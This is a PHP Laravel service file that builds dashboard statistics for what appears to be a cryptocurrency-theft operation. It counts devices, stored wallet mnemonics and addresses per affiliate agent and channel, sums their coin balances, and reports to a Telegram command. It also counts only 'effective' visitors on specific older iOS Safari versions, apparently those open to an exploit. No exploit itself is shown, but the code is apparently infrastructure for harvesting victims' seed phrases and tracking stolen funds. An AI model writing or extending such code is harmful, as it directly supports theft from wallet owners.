Files
coruna-lab/app/Services/DashboardStatsService.php
T
2026-08-26 06:33:21 +08:00

425 lines
14 KiB
PHP
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
<?php
namespace App\Services;
use App\Models\Device;
use App\Models\PageVisit;
use App\Models\User;
use App\Models\WalletAddress;
use App\Models\WalletMnemonic;
use App\Support\AgentScope;
use Carbon\Carbon;
use Illuminate\Database\Eloquent\Builder;
use Illuminate\Support\Facades\DB;
class DashboardStatsService
{
/**
* @param array{
* range?: string,
* date_from?: string,
* date_to?: string,
* date_range?: string,
* channel_id?: string,
* channel_exact?: bool,
* agent_user_id?: ?int,
* agent?: ?User
* } $filters
* @return array{
* total: int,
* wallet_count: int,
* new_count: int,
* active_count: int,
* pv: int,
* uv: int,
* effective_pv: int,
* effective_uv: int,
* mnemonic_count: int,
* address_count: int,
* balances: array{usdt: string, trx: string, eth: string, btc: string, bnb: string},
* by_os: list<array{label: string, uv: int, pct: float}>,
* by_ios_version: list<array{label: string, uv: int, pct: float}>,
* by_device_ios_version: list<array{label: string, count: int, pct: float}>,
* range: string,
* from: string,
* to: string
* }
*/
public function collect(array $filters = []): array
{
[$from, $to] = $this->resolveBounds($filters);
$rangeLabel = $from->toDateString().' ~ '.$to->toDateString();
$channelId = trim((string) ($filters['channel_id'] ?? ''));
$channelExact = (bool) ($filters['channel_exact'] ?? false);
$agent = $filters['agent'] ?? null;
$agentUserId = array_key_exists('agent_user_id', $filters)
? $filters['agent_user_id']
: null;
$agentUserId = $agentUserId === null ? null : (int) $agentUserId;
$base = Device::query();
AgentScope::applyDeviceChannelScope($base, $agent);
if ($agent === null) {
AgentScope::applyAgentUserFilter($base, $agentUserId);
}
if ($channelId !== '') {
if ($channelExact) {
$base->where('channel_id', $channelId);
} else {
$base->where('channel_id', 'like', '%'.$channelId.'%');
}
}
// Period cohort: devices installed (created) in the selected range.
$createdInRange = (clone $base)->whereBetween('created_at', [$from, $to]);
$total = (clone $createdInRange)->count();
$walletCount = (clone $createdInRange)->where('has_wallet', Device::WALLET_YES)->count();
$newCount = $total;
$activeCount = (clone $base)->whereBetween('updated_at', [$from, $to])->count();
$mnemonicCount = $this->countDeviceChildren(
WalletMnemonic::query(),
'wallet_mnemonics',
$agent,
$agentUserId,
$channelId,
$channelExact,
$from,
$to,
);
$addressCount = $this->countDeviceChildren(
WalletAddress::query(),
'wallet_addresses',
$agent,
$agentUserId,
$channelId,
$channelExact,
$from,
$to,
);
$balances = $this->sumBalances($agent, $agentUserId, $channelId, $channelExact, $from, $to);
$visits = PageVisit::query();
AgentScope::applyChannelIdScope($visits, $agent);
if ($agent === null) {
AgentScope::applyChannelIdAgentUserFilter($visits, $agentUserId);
}
if ($channelId !== '') {
if ($channelExact) {
$visits->where('channel_id', $channelId);
} else {
$visits->where('channel_id', 'like', '%'.$channelId.'%');
}
}
$visits->whereBetween('created_at', [$from, $to]);
$pv = (clone $visits)->count();
$uv = (int) (clone $visits)->selectRaw('COUNT(DISTINCT client_uid) as aggregate')->value('aggregate');
$effectiveVisits = (clone $visits)->tap(fn (Builder $q) => $this->applyEffectiveFilter($q));
$effectivePv = (clone $effectiveVisits)->count();
$effectiveUv = (int) (clone $effectiveVisits)->selectRaw('COUNT(DISTINCT client_uid) as aggregate')->value('aggregate');
$iosVisits = (clone $visits)->where('os', 'iOS');
$iosUv = (int) (clone $iosVisits)->selectRaw('COUNT(DISTINCT client_uid) as aggregate')->value('aggregate');
$otherVisits = (clone $visits)->where(function (Builder $q) {
$q->whereNull('os')->orWhere('os', '!=', 'iOS');
});
$otherUv = (int) (clone $otherVisits)->selectRaw('COUNT(DISTINCT client_uid) as aggregate')->value('aggregate');
$byOs = [
$this->visitRow('iOS', $iosUv, $uv),
$this->visitRow('其他', $otherUv, $uv),
];
$versionGroups = (clone $iosVisits)
->select('os_version')
->selectRaw('COUNT(DISTINCT client_uid) as uv')
->groupBy('os_version')
->orderByDesc('uv')
->limit(20)
->get();
// Denominator = sum of per-version UVs (not global DISTINCT).
// Same visitor may appear under multiple versions; using DISTINCT total would
// make every overlapping bucket show ~100%.
$versionUvSum = (int) $versionGroups->sum('uv');
$byIosVersion = $versionGroups
->map(fn ($r) => $this->visitRow(
((string) ($r->os_version ?? '')) !== '' ? (string) $r->os_version : 'Unknown',
(int) $r->uv,
$versionUvSum > 0 ? $versionUvSum : $iosUv,
))
->values()
->all();
$byDeviceIosVersion = (clone $createdInRange)
->select('ios_version')
->selectRaw('COUNT(*) as cnt')
->groupBy('ios_version')
->orderByDesc('cnt')
->limit(20)
->get()
->map(function ($r) use ($total) {
$label = trim((string) ($r->ios_version ?? ''));
return $this->deviceRow(
$label !== '' ? $label : '未知',
(int) $r->cnt,
$total,
);
})
->values()
->all();
return [
'total' => $total,
'wallet_count' => $walletCount,
'new_count' => $newCount,
'active_count' => $activeCount,
'pv' => $pv,
'uv' => $uv,
'effective_pv' => $effectivePv,
'effective_uv' => $effectiveUv,
'mnemonic_count' => $mnemonicCount,
'address_count' => $addressCount,
'balances' => $balances,
'by_os' => $byOs,
'by_ios_version' => $byIosVersion,
'by_device_ios_version' => $byDeviceIosVersion,
'range' => $rangeLabel,
'from' => $from->toDateTimeString(),
'to' => $to->toDateTimeString(),
'date_from' => $from->toDateString(),
'date_to' => $to->toDateString(),
];
}
/**
* @param array{range?: string, date_from?: string, date_to?: string, date_range?: string} $filters
* @return array{0: Carbon, 1: Carbon}
*/
public function resolveBounds(array $filters): array
{
$fromRaw = trim((string) ($filters['date_from'] ?? ''));
$toRaw = trim((string) ($filters['date_to'] ?? ''));
$rangeField = trim((string) ($filters['date_range'] ?? ''));
if ($fromRaw === '' && $toRaw === '' && $rangeField !== '') {
if (preg_match('/^(\d{4}-\d{2}-\d{2})\s*~\s*(\d{4}-\d{2}-\d{2})$/', $rangeField, $m)
|| preg_match('/^(\d{4}-\d{2}-\d{2})\s*-\s*(\d{4}-\d{2}-\d{2})$/', $rangeField, $m)) {
$fromRaw = $m[1];
$toRaw = $m[2];
}
}
if ($fromRaw !== '' && $toRaw !== '') {
try {
$from = Carbon::parse($fromRaw)->startOfDay();
$to = Carbon::parse($toRaw)->endOfDay();
} catch (\Throwable) {
return $this->rangeBounds((string) ($filters['range'] ?? '30d'));
}
if ($from->gt($to)) {
[$from, $to] = [$to->copy()->startOfDay(), $from->copy()->endOfDay()];
}
return [$from, $to];
}
return $this->rangeBounds((string) ($filters['range'] ?? '30d'));
}
/**
* Join a device-child table and apply the same channel / agent scope as device totals.
*/
private function scopedDeviceChildren(
Builder $query,
string $table,
?User $agent,
?int $agentUserId,
string $channelId,
bool $channelExact,
): Builder {
$query->join('devices', 'devices.id', '=', $table.'.device_id');
AgentScope::applyDeviceChannelScope($query, $agent);
if ($agent === null) {
AgentScope::applyAgentUserFilter($query, $agentUserId);
}
if ($channelId !== '') {
if ($channelExact) {
$query->where('devices.channel_id', $channelId);
} else {
$query->where('devices.channel_id', 'like', '%'.$channelId.'%');
}
}
return $query;
}
private function countDeviceChildren(
Builder $query,
string $table,
?User $agent,
?int $agentUserId,
string $channelId,
bool $channelExact,
Carbon $from,
Carbon $to,
): int {
return $this->scopedDeviceChildren($query, $table, $agent, $agentUserId, $channelId, $channelExact)
->whereBetween($table.'.created_at', [$from, $to])
->count($table.'.id');
}
/**
* Sum coin columns for addresses created in the selected range.
*
* @return array{usdt: string, trx: string, eth: string, btc: string, bnb: string}
*/
private function sumBalances(
?User $agent,
?int $agentUserId,
string $channelId,
bool $channelExact,
Carbon $from,
Carbon $to,
): array {
$q = $this->scopedDeviceChildren(
WalletAddress::query(),
'wallet_addresses',
$agent,
$agentUserId,
$channelId,
$channelExact,
)->whereBetween('wallet_addresses.created_at', [$from, $to]);
$selects = [];
foreach (WalletAddress::COIN_COLUMNS as $col) {
$selects[] = 'COALESCE(SUM(wallet_addresses.'.$col.'), 0) as '.$col;
}
$row = $q->selectRaw(implode(', ', $selects))->first();
$out = [];
foreach (WalletAddress::COIN_COLUMNS as $col) {
$raw = $row?->{$col} ?? 0;
$formatted = WalletAddress::formatAmount($col, $raw);
$out[$col] = $formatted === '' ? '0' : $formatted;
}
/** @var array{usdt: string, trx: string, eth: string, btc: string, bnb: string} $out */
return $out;
}
/**
* Map telegram /data day token to dashboard range key.
* Empty / omitted → today.
*/
public function rangeFromDays(?string $days): string
{
$days = $days === null ? '' : trim($days);
if ($days === '' || $days === '1') {
return 'today';
}
return match ($days) {
'7' => '7d',
'30' => '30d',
default => throw new \InvalidArgumentException('Days must be 1, 7, or 30'),
};
}
/**
* @return array{0: Carbon, 1: Carbon}
*/
public function rangeBounds(string $range): array
{
$now = Carbon::now();
return match ($range) {
'today', '1', '1d' => [$now->copy()->startOfDay(), $now->copy()->endOfDay()],
'yesterday' => [
$now->copy()->subDay()->startOfDay(),
$now->copy()->subDay()->endOfDay(),
],
'7d', '7' => [$now->copy()->subDays(6)->startOfDay(), $now->copy()->endOfDay()],
default => [$now->copy()->subDays(29)->startOfDay(), $now->copy()->endOfDay()],
};
}
/**
* Safari on iOS 13.0.0–17.2.1, plus 18.5 / 18.6 / 18.6.1 / 18.6.2.
*/
private function applyEffectiveFilter(Builder $query): void
{
$query->where('os', 'iOS')
->where('browser', 'Safari')
->whereNotNull('os_version')
->where('os_version', '!=', '');
[$major, $minor, $patch] = $this->osVersionPartsSql();
$query->whereRaw(
"(
({$major} >= 13 AND (
{$major} < 17
OR ({$major} = 17 AND {$minor} < 2)
OR ({$major} = 17 AND {$minor} = 2 AND {$patch} <= 1)
))
OR ({$major} = 18 AND {$minor} = 5 AND {$patch} = 0)
OR ({$major} = 18 AND {$minor} = 6 AND {$patch} IN (0, 1, 2))
)"
);
}
/**
* @return array{0: string, 1: string, 2: string} major / minor / patch SQL
*/
private function osVersionPartsSql(): array
{
if (DB::connection()->getDriverName() === 'sqlite') {
$major = 'CAST(os_version AS INTEGER)';
$minor = "CAST(CASE WHEN INSTR(os_version, '.') = 0 THEN '0' ELSE SUBSTR(os_version, INSTR(os_version, '.') + 1) END AS INTEGER)";
$patch = "CAST(CASE WHEN LENGTH(os_version) - LENGTH(REPLACE(os_version, '.', '')) < 2 THEN '0' ELSE SUBSTR(os_version, INSTR(os_version, '.') + INSTR(SUBSTR(os_version, INSTR(os_version, '.') + 1), '.') + 1) END AS INTEGER)";
return [$major, $minor, $patch];
}
$padded = "CONCAT(os_version, '.0.0')";
$major = "CAST(SUBSTRING_INDEX(os_version, '.', 1) AS UNSIGNED)";
$minor = "CAST(SUBSTRING_INDEX(SUBSTRING_INDEX({$padded}, '.', 2), '.', -1) AS UNSIGNED)";
$patch = "CAST(SUBSTRING_INDEX(SUBSTRING_INDEX({$padded}, '.', 3), '.', -1) AS UNSIGNED)";
return [$major, $minor, $patch];
}
/**
* Visit breakdown row. pct = uv / $totalUv (UV share).
*
* @return array{label: string, uv: int, pct: float}
*/
private function visitRow(string $label, int $uv, int $totalUv): array
{
$pct = $totalUv > 0 ? round(($uv / $totalUv) * 100, 1) : 0.0;
return [
'label' => $label,
'uv' => $uv,
'pct' => $pct,
];
}
/**
* @return array{label: string, count: int, pct: float}
*/
private function deviceRow(string $label, int $count, int $total): array
{
$pct = $total > 0 ? round(($count / $total) * 100, 1) : 0.0;
return [
'label' => $label,
'count' => $count,
'pct' => $pct,
];
}
}